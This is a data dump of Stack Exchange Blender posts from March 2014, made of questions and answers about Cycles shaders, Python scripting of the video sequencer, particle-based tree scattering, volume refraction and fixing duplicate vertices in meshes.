  <row Id="8108" PostTypeId="1" AcceptedAnswerId="8110" CreationDate="2014-03-28T01:13:44.940" Score="24" ViewCount="13152" Body="&lt;p&gt;I'm trying to make a material node setup to set final render colors, regardless of lighting conditions. Is such a setup possible?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2014-04-02T21:42:40.257" LastActivityDate="2014-04-02T21:42:40.257" Title="Node for setting render colour, regardless of lighting" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="8109" PostTypeId="2" ParentId="8107" CreationDate="2014-03-28T01:27:17.570" Score="12" Body="&lt;p&gt;Yes, blenders sequencer has full Python API access so it can be used to do quite advanced video editing both from the UI or in background mode (headless).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;from bpy import context&#xA;scene = context.scene&#xA;&#xA;path = &amp;quot;/my_path/to/images&amp;quot;&#xA;files = os.listdir(path)&#xA;files.sort()&#xA;&#xA;# create the sequencer data&#xA;scene.sequence_editor_create()&#xA;&#xA;seq = scene.sequence_editor.sequences.new_image(&#xA;        name=&amp;quot;MyStrip&amp;quot;,&#xA;        filepath=os.path.join(path, files[0]),&#xA;        channel=1, frame_start=1)&#xA;&#xA;# add the rest of the images.&#xA;for f in files:&#xA;    seq.elements.append(f)&#xA;&#xA;# reverse if you want&#xA;seq.use_reverse_frames = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;# You may want to render the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;render = scene.render&#xA;scene.frame_start = 1&#xA;scene.frame_end = 1 + len(files)&#xA;&#xA;render.resolution_x = 1280&#xA;render.resolution_y = 720&#xA;render.fps = 25&#xA;&#xA;render.image_settings.file_format = 'FFMPEG'&#xA;render.ffmpeg.format = 'MPEG4'&#xA;render.ffmpeg.codec = 'H264'&#xA;&#xA;render.ffmpeg.constant_rate_factor = 'HIGH'&#xA;render.ffmpeg.ffmpeg_preset = 'BEST'&#xA;&#xA;bpy.ops.render.render(animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rest I'm sure you can work out as you may want to tweak encoding, frame rate... etc.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2020-09-21T23:51:33.953" LastActivityDate="2020-09-21T23:51:33.953" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8110" PostTypeId="2" ParentId="8108" CreationDate="2014-03-28T02:57:28.610" Score="23" Body="&lt;p&gt;I assume you mean a &amp;quot;shadeless&amp;quot; shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UjHkx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To create this you can use the &lt;em&gt;Light Path&lt;/em&gt; node to make an emission shader which is visible only to the camera, letting other rays straight through with a transparent shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JcXJf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Casting shadows:&lt;/h1&gt;&#xA;&lt;p&gt;With a diffuse shader (or a holdout shader, black transparent shader, etc. anything that will cast a shadow and render fast) used instead of the white transparent shader:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RPrVw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You'll notice that there is some indirect lighting (in this case it's a slight orange tint to the shadow, because I made the diffuse shader orange)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ipZn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you don't want that orange tint, you can either:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable it per object by disabling &lt;em&gt;Diffuse&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Ray visibility&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/amgB0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable it per material with the light path node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YT94i.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWIfc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-29T22:01:17.483" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8111" PostTypeId="1" AcceptedAnswerId="8112" CreationDate="2014-03-28T04:24:16.937" Score="7" ViewCount="4829" Body="&lt;p&gt;In using the particle system to render trees in a forest, is there any advantage in using the Emitter system over the Hair system given that the render will be done in Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played with both using tree images with alpha on planes as well as 3D geometry and can get similar results with either system in my small tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cycles does not support billboards which could otherwise be used in&#xA;the Emitter system.  So a track to constraint system is needed in&#xA;either case. &lt;/li&gt;&#xA;&lt;li&gt;If using the Emitter system, I have to make sure the&#xA;trees are not dynamically popping in and out during animation. &lt;/li&gt;&#xA;&lt;li&gt;The Hair system has a special panel for Cycles.  If one is duplicating&#xA;objects instead of strands, does it matter?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hair seems to be the logical choice for grass but is it the best system for trees?  I have seen tutorials for both but perhaps the ones using Emitter are older.&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2014-03-28T04:51:15.263" Title="Which particle system is best for trees in a forest?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8112" PostTypeId="2" ParentId="8111" CreationDate="2014-03-28T04:51:15.263" Score="8" Body="&lt;p&gt;I've always used Emitter to populate a large number of static objects. I don't think hair is needed here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the particles panel:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;strong&gt;start&lt;/strong&gt; and &lt;strong&gt;end&lt;/strong&gt; value to -1, and the &lt;strong&gt;lifetime&lt;/strong&gt; to some high value that's longer than your total animation. This avoids any popping in and out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off particles &lt;strong&gt;newtonian physics&lt;/strong&gt; completely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use object instancing or group instancing to replace each particle with a tree&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Play with other settings (variable size, initial rotation, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cycles is surprisingly good at rendering large number of instanced geometry. So unless performance is really important, rending actual geometry shouldn't be too bad. And lastly, &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/creating-an-island-environment-in-blender/&quot;&gt;this tutorial&lt;/a&gt; might help.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-28T04:51:15.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8113" PostTypeId="1" CreationDate="2014-03-28T06:28:02.390" Score="13" ViewCount="1773" Body="&lt;p&gt;For instance, is it possible to simulate effects such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Mirage#Heat_haze&quot; rel=&quot;nofollow noreferrer&quot;&gt;heat haze&lt;/a&gt; or other kinds of &lt;a href=&quot;http://en.wikipedia.org/wiki/Mirage&quot; rel=&quot;nofollow noreferrer&quot;&gt;mirages&lt;/a&gt; which are caused by air with differing/changing refractive indexes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugging a procedural texture into the &lt;em&gt;IOR&lt;/em&gt; input gets pretty close, but &lt;strong&gt;the IOR is only being changed at the object's surface&lt;/strong&gt; (this is to be expected, since the refraction node is plugged into the &lt;strong&gt;&lt;em&gt;surface&lt;/em&gt;&lt;/strong&gt; output).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with this scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UYKGB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYKGB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connecting only the volume scatter node proves that the gradient sphere is in the center of the cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zCzQ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect the refraction node, you might expect to see some distortion in the center where the gradient texture is. However, since the gradient is completely inside the cube, there is no evidence of the gradient on the surface, and the IOR is not changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jFIDj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugging the refraction node into the &lt;em&gt;volume&lt;/em&gt; output does not seem to be supported yet; the output is completely transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change the IOR of the inside of an object in cycles like this?&lt;br&gt;&#xA;If not, is there any way to simulate these kinds of atmospheric effects in cycles?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I would share the .blend, but pasteall is acting up atm..&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/6451/is-it-possible-to-render-other-materials-besides-volumes-using-a-procidural-text&quot;&gt;Is it possible to render other materials besides volumes using a procidural texture to define &amp;quot;density&amp;quot;?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-11-28T08:53:45.747" Title="Is it possible to change the IOR inside a volume?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8114" PostTypeId="1" AcceptedAnswerId="8116" CreationDate="2014-03-28T07:25:40.370" Score="4" ViewCount="1415" Body="&lt;p&gt;Trying to create a face &lt;em&gt;Make Edge/Face&lt;/em&gt; &lt;kbd&gt;F&lt;/kbd&gt; doesn't create the face completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tg8SX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why remains this triangle unfilled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/27964&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQ4CG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-03-28T07:37:00.087" LastActivityDate="2014-03-28T21:01:56.447" Title="What causes a face to be created only partially?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8115" PostTypeId="2" ParentId="8114" CreationDate="2014-03-28T07:39:36.753" Score="3" Body="&lt;p&gt;This is because the mesh isn't continuous at a particular spot, (maybe you did an accidental &lt;em&gt;rip&lt;/em&gt; &lt;kbd&gt;V&lt;/kbd&gt;) or there is excess geometry floating somewhere. Run a &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Remove doubles&lt;/em&gt; operation and it should work after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other things you could try are to look at your mesh in wireframe view to see if you can spot any odd bits, make sure there aren't any inside faces etc and or box select the problem region and perform a &lt;kbd&gt;X&lt;/kbd&gt; &lt;em&gt;&gt; Limited Dissolve&lt;/em&gt; operation.  &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-03-28T21:01:56.447" LastActivityDate="2014-03-28T21:01:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8116" PostTypeId="2" ParentId="8114" CreationDate="2014-03-28T07:39:48.487" Score="6" Body="&lt;p&gt;There are a lot of double vertices around the face, which meant that the selected edges around the missing triangle were not actually connected to the rest of the selection.&lt;/p&gt;&#xA;&lt;p&gt;To fix this, select the vertices around that area, or select all (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to remove doubles.&lt;/p&gt;&#xA;&lt;p&gt;You seem to have a lot of doubles, it removed 305 vertices for me. Perhaps an accidentally applied edge split modifier or edge split operator (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&amp;gt;Edge Split&lt;/em&gt; or &lt;kbd&gt;D&lt;/kbd&gt;)? It's possible to split edges without.&lt;/p&gt;&#xA;&lt;h2&gt;Identifying doubles:&lt;/h2&gt;&#xA;&lt;p&gt;You can tell that the upper left edge is not connected to the selected vertex because the orange gradient that normally appears along selected edges is not visible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEU4G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After merging the double vertices with &lt;em&gt;Remove doubles&lt;/em&gt; it looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZwIcr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now fill will work as expected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tyEB9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-28T07:47:40.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8117" PostTypeId="2" ParentId="8107" CreationDate="2014-03-28T07:53:39.643" Score="4" Body="&lt;p&gt;Yes, It is quite possible (ideasman42 already gave an example of the Sequencer API usage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also setup the automation logic that will create/update your sequencer using a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.app.handlers.html?highlight=handlers#bpy.app.handlers.render_complete&quot; rel=&quot;nofollow&quot;&gt;render complete handler&lt;/a&gt;. In your addon, You can register the sequencer setup handler to run after render completes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@bpy.app.handlers.persistent&#xA;def process_in_sequencer(self, context):&#xA;    &amp;lt;logic goes here&amp;gt;&#xA;&#xA;bpy.app.handlers.render_complete.append(process_in_sequencer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="228" LastActivityDate="2014-03-28T07:53:39.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8118" PostTypeId="1" AcceptedAnswerId="8166" CreationDate="2014-03-28T10:26:17.230" Score="2" ViewCount="344" Body="&lt;p&gt;Im pretty new to blender and am in a bit of a bind here. I have this distorted water simulation that i am attempting to make look like snow (not the best but it works for what i need it for) and i am having troubles getting the shadows to render properly. if you know how to either bake to texture, or adjust settings for these shadows, any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a screenshot, the rendered part is just the 10 sample preview. but i personally don't think more samples will help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6xjzZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see how in the non rendered portions, the shadows on the ridges are much more visible than in the actual render, it could be my lighting as I'm using a single plane with an emission material set to 30. however if it is the lighting, would anybody know a better way to do it for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;additionally i can also confirm that the area is just as ridgey as the rest of the plane, when viewing the entire scene rendered it all looks very shadowless. also the material for the plane is the default material. (when you just add a material to an object and don't modify it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;almost forgot! im using cycles renderer by the way.&#xA;thanks to anybody who can help!!!&lt;/p&gt;&#xA;" OwnerUserId="2833" LastActivityDate="2014-03-30T00:18:38.253" Title="Help with rendering shadows properly" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8119" PostTypeId="2" ParentId="7509" CreationDate="2014-03-28T10:30:17.800" Score="2" Body="&lt;p&gt;Is this link any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?291644-Space-Earth-volumetric-cloud-shader-rayleight-scatter-etc&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?291644-Space-Earth-volumetric-cloud-shader-rayleight-scatter-etc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All I needed was the light vector. Since the “getAttribute”-node&#xA;  didn’t seem to work for this I have now just used a manual coordinate&#xA;  in the node system (by making it a group I only have one place insert&#xA;  the vector). With the light vector I have created a ramp that shades&#xA;  from white to black via some orange and blue. Just adding this&#xA;  groupnode on my pseudo-volumetric-cloud-shader I got nice looking&#xA;  sunsets .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2939" LastEditorUserId="12" LastEditDate="2014-10-31T22:47:47.033" LastActivityDate="2014-10-31T22:47:47.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8120" PostTypeId="1" AcceptedAnswerId="8125" CreationDate="2014-03-28T11:30:30.230" Score="5" ViewCount="5224" Body="&lt;p&gt;I have just started using blender 2.66a. I was trying to model a chair.&#xA;I used a cube to create the chair. I exported it as an .obj file. However when I tried to import it back in, it is just showing a cube instead of the chair which I had modeled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B_I1H5C0EX4lUVM3LWI1V0tQYlk/edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2942" LastEditorUserId="56068" LastEditDate="2018-07-13T18:23:43.443" LastActivityDate="2018-07-13T18:23:43.443" Title="Blender not exporting mesh properly" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8121" PostTypeId="1" CreationDate="2014-03-28T11:54:52.943" Score="5" ViewCount="602" Body="&lt;p&gt;A quick question about shader surface colour values in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the surface colour of a shader to values greater than 1, for example the diffuse shader in the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tp6Qn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be said that this material is reflecting more energy than it is receiving? e.g. will the albedo of a diffuse shader ever be pushed beyond 1 by increasing the colour values above 1?&lt;/p&gt;&#xA;" OwnerUserId="2224" LastEditorUserId="527" LastEditDate="2014-03-28T13:36:12.667" LastActivityDate="2014-03-29T12:54:17.437" Title="Cycles shader colour: values above 1" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8122" PostTypeId="2" ParentId="8121" CreationDate="2014-03-28T12:46:51.500" Score="5" Body="&lt;p&gt;If you push your color values above &lt;code&gt;1&lt;/code&gt; your render will become physically inaccurate. You should try to keep your color values at most 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Glossy Shader with a color value of &lt;code&gt;1 1 1&lt;/code&gt; vs &lt;code&gt;50 50 50&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5u0Bz.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/fSX6a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Diffuse Shader with a color value of &lt;code&gt;1 1 1&lt;/code&gt; vs &lt;code&gt;5 5 5&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/FGYtTFA.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.imgur.com/ZPhXsOq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see once you set the color value above one the shader are emitting more light than they are receiving. If you have no light though the scene will not be illuminated by the shaders because the shaders are not actually emitting light they are acting like a multiplier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also notice that in the render output certain pixels have a color value above &lt;code&gt;1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TbSqq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-28T12:54:13.170" LastActivityDate="2014-03-28T12:54:13.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8123" PostTypeId="2" ParentId="8114" CreationDate="2014-03-28T15:15:25.460" Score="4" Body="&lt;h2&gt;&lt;strong&gt;Common Cause of Mesh Editing Problems&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have found one of the most difficult to detect causes of odd mesh behavior is when vertices, edges or faces exist in the same spot (overlap/are duplicates). This can cause your mesh to be non-manifold and can also cause odd problems like the one you've encountered.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Automatically merge vertices moved to the same location&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One easy way to avoid creating duplicate vertices is this: while in Edit mode, enable &quot;Automatically merge vertices moved to the same location&quot;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVEDp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have this enabled when modeling, you most likely won't have to use Remove Doubles later on. &lt;strong&gt;NOTE:&lt;/strong&gt; Enabling this will only merge vertices from that time on while modeling -- it will NOT merge already existing overlapping vertices. To merge already existing ones, use Remove Doubles by doing either of these while in Edit mode:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tools panel -&gt; Tools tab -&gt; Remove section -&gt; Remove Doubles  &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; -&gt; Remove Doubles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Overlapping Edges&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, enabling Automatically Merge Vertices and Remove Doubles won't help you in the case of overlapping edges that have different start and end vertices. I've found 2 common causes of these kinds of overlapping edges: Extruding and Make Edge/Face.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extruding&lt;/strong&gt;&lt;br&gt;&#xA;Here is a video showing how extruding during editing can cause overlapping edges:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w51P4.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, the two edges get overlapped by the one long extruded edge. Notice how even though Automatically Merge Vertices is enabled, the middle vertex (the one moved around at the end of the video) does not get merged because when the edge is extruded, it doesn't have a vertex right there to merge with. The same situation can occur when extruding vertices or faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this problem, don't extrude past/over a vertex (as show above) -- extrude &lt;strong&gt;TO&lt;/strong&gt; each vertex, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7nTk1.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Automatically Merge Vertices is enabled and all edges have they same start and end vertices, they get automatically merged and you don't have problematic overlapping edges or duplicate vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make Edge/Face&lt;/strong&gt;&lt;br&gt;&#xA;If you use &lt;kbd&gt;F&lt;/kbd&gt; to make and edge or a face that overlaps a vertex, you'll get overlapping edges, as shown here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ejs3z.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;How To Find Existing Overlapping Edges&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One easy way to find overlapping edges is this: while in Edit mode use &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to select &amp;amp; highlight all non-manifold geometry. Now examine those areas and if you see a place where it looks like it should be manifold, but it's highlighted, check there for overlapping edges, duplicate vertices, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to find them is to select a vertex and see if it's highlighting indicates it is properly connected to all the appropriate edges. Here's an example of a selected vertex who's highlighting indicates it's not properly connected:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJoyq.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See how it's highlighting doesn't include the horizontal edges? That means it's not connected to them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a vertex that &lt;em&gt;is&lt;/em&gt; properly connected:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xHmPi.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's highlighting includes all four of the surrounding edges, so you know it's properly connected to them.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;How To Fix Existing Overlapping Edges&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you find the offending vertex, grab &amp;amp; drag it to see if a hidden overlapping edge is revealed, as shown in the videos above. Once found, delete the overlapping edge, then put the dragged vertex back into place.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One trick I discovered about how to put the vertex back into place easily is when you are first dragging it out of place, only drag it on one axis, rather than freely in 3, because then you only have to snap it back into place on one axis, rather than 3.   &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-28T20:21:40.273" LastActivityDate="2014-03-28T20:21:40.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8124" PostTypeId="1" CreationDate="2014-03-28T16:31:40.723" Score="1" ViewCount="110" Body="&lt;p&gt;I want to create spring coil. If I try to create it by manually extruding the edges it will probably look weird and deformed. Is there a way to create a spring coil procedurally so that it is even and symmetrical?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFPYr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2173" LastEditDate="2014-03-28T21:41:18.823" LastActivityDate="2014-03-28T21:41:18.823" Title="Create Spring Coil" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-03-28T20:57:35.947" ContentLicense="CC BY-SA 3.0" />
